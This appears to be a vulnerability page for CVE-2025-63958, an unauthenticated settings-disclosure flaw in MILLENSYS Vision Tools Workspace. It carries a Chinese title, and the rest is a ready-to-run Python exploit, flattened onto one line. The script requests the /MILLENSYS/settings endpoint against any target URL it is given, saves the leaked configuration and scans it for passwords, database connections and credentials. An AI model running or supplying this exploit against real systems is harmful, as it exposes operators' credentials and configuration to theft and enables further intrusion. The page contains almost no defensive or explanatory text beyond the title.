CVE-2025-63958: MILLENSYS Vision Tools Workspace 敏感配置信息泄露漏洞

import requests import sys # CVE-2025-63958 PoC - MILLENSYS Vision Tools Workspace Information Disclosure # Target: MILLENSYS Vision Tools Workspace <= 6.5.0.2585 # Endpoint: /MILLENSYS/settings def exploit_cve_2025_63958(target_url): """ Exploit for CVE-2025-63958 Unauthenticated access to sensitive configuration endpoint """ # Construct the vulnerable endpoint URL endpoint = "/MILLENSYS/settings" url = target_url.rstrip('/') + endpoint print(f"[*] Target: {target_url}") print(f"[*] Exploiting endpoint: {url}") try: # Send HTTP GET request without authentication headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } response = requests.get(url, headers=headers, timeout=10, verify=False) print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: print(f"[!] VULNERABLE - Sensitive data exposed!") print(f"[+] Response Length: {len(response.text)} bytes") # Save the response for analysis with open('cve_2025_63958_leaked_data.html', 'w', encoding='utf-8') as f: f.write(response.text) print("[+] Leaked data saved to: cve_2025_63958_leaked_data.html") # Extract sensitive information patterns sensitive_patterns = [ 'password', 'database', 'connection', 'server', 'credential', 'license', 'update', 'share' ] print("\n[*] Searching for sensitive data patterns...") for pattern in sensitive_patterns: if pattern.lower() in response.text.lower(): print(f"[+] Found potential sensitive data: {pattern}") return True else: print(f"[-] Endpoint returned status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com:8080") sys.exit(1) target = sys.argv[1] exploit_cve_2025_63958(target)